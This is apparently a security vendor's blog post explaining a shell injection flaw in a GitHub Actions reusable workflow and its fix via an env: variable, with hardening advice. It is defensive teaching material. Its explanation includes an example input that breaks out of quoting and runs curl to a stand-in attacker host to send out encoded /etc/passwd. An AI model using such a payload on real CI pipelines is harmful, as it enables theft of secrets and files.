Back to Blog
high SEVERITY7 min read

How GitHub Actions Shell Injection happens in YAML workflows and how to fix it

A GitHub Actions workflow in `reusable-workflow-input-must-declare-type.yaml` was directly interpolating `${{ inputs.constraints }}` inside a `run:` shell step, creating a shell injection vulnerability. An attacker who controls the workflow input could inject arbitrary shell commands into the runner, potentially stealing secrets and source code. The fix moves the untrusted value into an intermediate environment variable, breaking the injection path entirely.

O
By Orbis AppSec
Published August 7, 2026Reviewed August 7, 2026

Answer Summary

This is a GitHub Actions shell injection vulnerability (CWE-78) where the expression `${{ inputs.constraints }}` was directly embedded in a `run:` shell step inside `reusable-workflow-input-must-declare-type.yaml`. Because GitHub Actions performs expression substitution before the shell interprets the command, a malicious input value can break out of the intended command and execute arbitrary shell code. The fix is to assign the untrusted value to an environment variable via the `env:` block and reference it as `"$CONSTRAINTS"` in the shell script, so the shell always treats it as a data value rather than executable syntax.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixAssign the value to an `env:` variable (`CONSTRAINTS`) and reference it as `"$CONSTRAINTS"` in the shell script
riskArbitrary command execution on the Actions runner; secret exfiltration
languageYAML / Bash (GitHub Actions)
root cause`${{ inputs.constraints }}` interpolated directly into a `run:` shell command before the shell parses it
vulnerabilityGitHub Actions Shell Injection

How GitHub Actions Shell Injection Happens in YAML Workflows and How to Fix It

Introduction

The file src/negative_test/github-workflow/reusable-workflow-input-must-declare-type.yaml defines a reusable workflow with a build and publish job. At line 18, one of its steps used a seemingly innocent one-liner:

run: echo 'constraints=${{ inputs.constraints }}'

That single line is a textbook shell injection waiting to happen. The ${{ inputs.constraints }} expression is resolved by the GitHub Actions expression engine before the shell ever sees the command — meaning whatever string a caller passes as constraints lands verbatim in the shell command line. If that string contains shell metacharacters, the shell will happily execute them.

This post walks through exactly how the vulnerability works, what an attacker could do with it, and how the two-line fix in the PR completely eliminates the risk.


The Vulnerability Explained

How GitHub Actions Expression Interpolation Works

GitHub Actions processes ${{ ... }} expressions during workflow evaluation, performing a simple text substitution into the YAML. Only after that substitution does the runner hand the resulting string to the shell (bash, sh, etc.) for execution.

This ordering is the root cause of the problem. Consider the vulnerable step:

# VULNERABLE — line 18 (before fix)
- name: satisfy constraings
  run: echo 'constraints=${{ inputs.constraints }}'

If a caller invokes this reusable workflow and passes:

constraints: foo'; curl -s https://attacker.example/exfil?data=$(cat /etc/passwd | base64) #

After expression substitution, the runner executes:

echo 'constraints=foo'; curl -s https://attacker.example/exfil?data=$(cat /etc/passwd | base64) #'

The single-quote in the payload closes the shell string literal opened by echo '..., the semicolon starts a new command, and the attacker's curl runs with full access to the runner environment — including all ${{ secrets.* }} values that have been exported into the process.

Why This Matters for Reusable Workflows

Reusable workflows are called from other workflows, potentially across repositories. The inputs object is entirely caller-controlled. Any repository (or, in a public repo, any fork or pull request) that can invoke this workflow can supply arbitrary values for constraints. This is not a theoretical concern — it is a well-documented attack vector against CI/CD pipelines.

What an Attacker Could Steal

With arbitrary command execution on the runner the attacker can:

  1. Exfiltrate secrets — environment variables like ${{ secrets.api_token }} (visible in the same job) can be read and sent to an external endpoint.
  2. Tamper with build artifacts — the runner has write access to the checked-out repository; a malicious actor could modify source files before the publish step runs.
  3. Pivot to downstream systems — the api_token secret used by example/example-publisher-action could be replayed to publish a backdoored package.

The Fix

The pull request makes a targeted, two-line change to the vulnerable step:

Before

- name: satisfy constraings
  run: echo 'constraints=${{ inputs.constraints }}'

After

- name: satisfy constraings
  env:
    CONSTRAINTS: ${{ inputs.constraints }}
  run: echo "constraints=$CONSTRAINTS"

Why This Works

When you assign the expression to an env: variable, GitHub Actions still performs the text substitution — but now the result is stored as an environment variable value, not embedded in a shell command string. The shell receives the run: script before it ever reads the environment variable:

Shell command:  echo "constraints=$CONSTRAINTS"
Environment:    CONSTRAINTS=<whatever the attacker passed>

The shell parses echo "constraints=$CONSTRAINTS" as a single echo command with one double-quoted argument. When it expands $CONSTRAINTS, it does so in a context where the value is treated purely as data — not as additional shell syntax. A value of foo'; malicious command is printed literally, not executed.

The double-quotes around "$CONSTRAINTS" in the run: script are important: they prevent word-splitting and glob expansion of the variable's value, which could otherwise introduce subtler injection paths.

Additional Hardening in the Same PR

The PR also pins two action references to their full commit SHAs:

# Before
- uses: actions/checkout@v2
  uses: example/example-publisher-action@v1

# After
- uses: actions/checkout@ee0669bd1cc54295c223e0bb666b733df41de1c5
  uses: example/example-publisher-action@ee0669bd1cc54295c223e0bb666b733df41de1c5

Pinning to a commit SHA rather than a mutable tag prevents a compromised or hijacked action tag from silently pulling in malicious code — a separate but complementary defense-in-depth measure.


Prevention & Best Practices

1. Never Interpolate Untrusted Context Data Directly into run:

The rule is simple: if the value comes from github.event.*, inputs.*, github.head_ref, or any other user-influenced source, it must not appear inside a run: block via ${{ ... }}.

Safe pattern:

env:
  USER_INPUT: ${{ inputs.some_value }}
run: |
  echo "Input was: $USER_INPUT"
  process_input "$USER_INPUT"

Unsafe pattern:

run: echo "${{ inputs.some_value }}"   # NEVER do this

2. Use toJSON() for Structured Data

If you must pass structured data, use toJSON() to ensure the value is a valid JSON string before assigning it to an env var:

env:
  PR_TITLE: ${{ toJSON(github.event.pull_request.title) }}

3. Audit All run: Steps with Semgrep

The Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection will catch this pattern across your entire codebase. Add it to your CI pipeline:

semgrep --config "p/github-actions" .

4. Pin Actions to Commit SHAs

Use tools like Dependabot or Renovate to manage SHA-pinned action versions and keep them updated automatically.

5. Apply Least Privilege to Workflow Permissions

Use permissions: blocks to restrict what each job can do:

permissions:
  contents: read

This limits the blast radius if injection does occur.

Security Standards

  • OWASP CI/CD Security Top 10 — CICD-SEC-4: Poisoned Pipeline Execution
  • CWE-78 — Improper Neutralization of Special Elements used in an OS Command
  • SLSA — Supply-chain Levels for Software Artifacts recommends hermetic, verifiable builds

Key Takeaways

  • The inputs.constraints value in reusable-workflow-input-must-declare-type.yaml was fully attacker-controlled — any caller of the reusable workflow could supply arbitrary shell syntax.
  • Single-quoting the run: command does not protect youecho 'constraints=${{ inputs.constraints }}' is still vulnerable because the substitution happens before the shell parses quotes.
  • The env: block is the correct firewall — assigning ${{ inputs.constraints }} to CONSTRAINTS and referencing "$CONSTRAINTS" in the script ensures the value is always treated as data, never as code.
  • Reusable workflows multiply the attack surface — because they accept inputs from potentially many callers, every run: step in a reusable workflow deserves extra scrutiny.
  • Pinning actions to commit SHAs is a complementary control — it closes a separate supply-chain attack vector that could otherwise bypass all input sanitization.

How Orbis AppSec Detected This

  • Source: The inputs.constraints workflow input — a value entirely controlled by the caller of the reusable workflow.
  • Sink: The run: echo 'constraints=${{ inputs.constraints }}' shell command at line 18 of reusable-workflow-input-must-declare-type.yaml, where the expression is interpolated directly into the shell command string.
  • Missing control: No intermediate environment variable was used; the raw expression value was embedded in the shell command, bypassing any shell quoting.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: The value is now assigned to the CONSTRAINTS environment variable via the env: block and referenced as "$CONSTRAINTS" in the run: script, ensuring the shell treats it as data rather than executable syntax.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Shell injection in GitHub Actions is one of the most impactful CI/CD vulnerabilities because the runner has access to secrets, build artifacts, and deployment credentials. The pattern run: echo '${{ inputs.constraints }}' looks harmless but hands an attacker a direct path to arbitrary command execution. The fix — two lines of YAML that introduce an env: block — is minimal, non-breaking, and completely eliminates the injection path by ensuring the shell always sees the input as a data value rather than part of the command syntax. If you maintain GitHub Actions workflows, audit every run: step for direct ${{ ... }} interpolation of context data, and integrate a tool like Semgrep into your pipeline to catch these patterns automatically before they reach production.


References

Frequently Asked Questions

What is GitHub Actions shell injection?

It occurs when a `${{...}}` expression containing untrusted data (such as a workflow input or `github` context value) is embedded directly in a `run:` step. GitHub Actions substitutes the expression textually before the shell parses the command, so a crafted value can inject new shell commands.

How do you prevent shell injection in GitHub Actions YAML?

Never place `${{ ... }}` expressions that contain user-controlled data directly inside a `run:` command. Instead, assign the value to an environment variable in the `env:` block and reference it as `"$ENV_VAR"` in the script.

What CWE is GitHub Actions shell injection?

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is quoting the `${{...}}` expression enough to prevent shell injection in GitHub Actions?

No. Quoting the expression in YAML (e.g., `run: echo '${{ inputs.constraints }}'`) does not help because GitHub Actions performs its own text substitution before the shell sees the command. The substituted value can still contain characters that break out of shell quoting. Using an `env:` variable is the correct mitigation.

Can static analysis detect GitHub Actions shell injection?

Yes. Semgrep's rule `yaml.github-actions.security.run-shell-injection.run-shell-injection` detects this pattern automatically, and tools like CodeQL also include checks for tainted expressions in `run:` steps.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6174

Related Articles

medium

How GitHub Actions Mutable Action Tags Enable Supply-Chain Attacks and How to Fix Them

A GitHub Actions workflow was using `actions/checkout@v1`, a mutable tag reference that could be silently repointed by the action owner to inject malicious code. This supply-chain vulnerability was fixed by pinning the action to a specific commit SHA (`11bd71901bbe5b1630ceea73d27597364c9af683`), ensuring the workflow always executes verified, immutable code.

high

How Shell Injection in GitHub Actions happens in YAML workflows and how to fix it

A high-severity shell injection vulnerability was discovered in `.forgejo/workflows/docker.yml` where `${{github.ref}}` and `${{github.ref_name}}` were directly interpolated into a bash `run:` step. An attacker could craft malicious git reference names to inject arbitrary commands into the CI runner, potentially stealing secrets and source code. The fix moves these values into intermediate environment variables, preventing command injection.

critical

How Credential Leakage in GitHub Actions Happens in Node.js and How to Fix It

A GitHub Actions workflow in Node.js was storing authentication tokens in plain variables without masking them in logs, creating a critical security risk. When debug mode was enabled or errors occurred, tokens could be exposed in console output and GitHub Actions logs. The fix uses the `setSecret()` API to automatically mask sensitive credentials throughout the execution.

high

How Dependabot Missing Cooldown Periods Happen in GitHub Actions and How to Fix It

A missing cooldown period in Dependabot configuration creates a supply chain vulnerability by allowing automatic updates to newly published packages that could be malicious or unstable. This fix adds a 7-day cooldown to the `.github/dependabot.yml` file, ensuring newly published package versions are vetted before being proposed for update. This is critical for Node.js libraries where vulnerabilities affect all downstream consumers.

high

How missing cooldown periods in Dependabot configuration happen in GitHub Actions and how to fix it

A high-severity vulnerability was discovered in a Node.js library's `.github/dependabot.yml` configuration file where no cooldown period was set for package updates. This exposed the project to potentially malicious or unstable newly-published packages, as Dependabot would immediately propose updates without any waiting period. The fix adds a 7-day cooldown to the npm package-ecosystem configuration, ensuring a safety window before adopting new package versions.

high

How Unauthenticated Denial of Service happens in React Router and how to fix it

CVE-2026-55685 is a high-severity Denial of Service vulnerability in React Router's `@remix-run/server-runtime` that allows unauthenticated attackers to exhaust server resources by sending crafted requests to the manifest endpoint. The fix upgrades `react-router` from version 7.17.0 to 7.18.0, which tightens handling of untrusted input in route matching logic. Developers using any React Router 7.x application with server-side rendering should apply this patch immediately.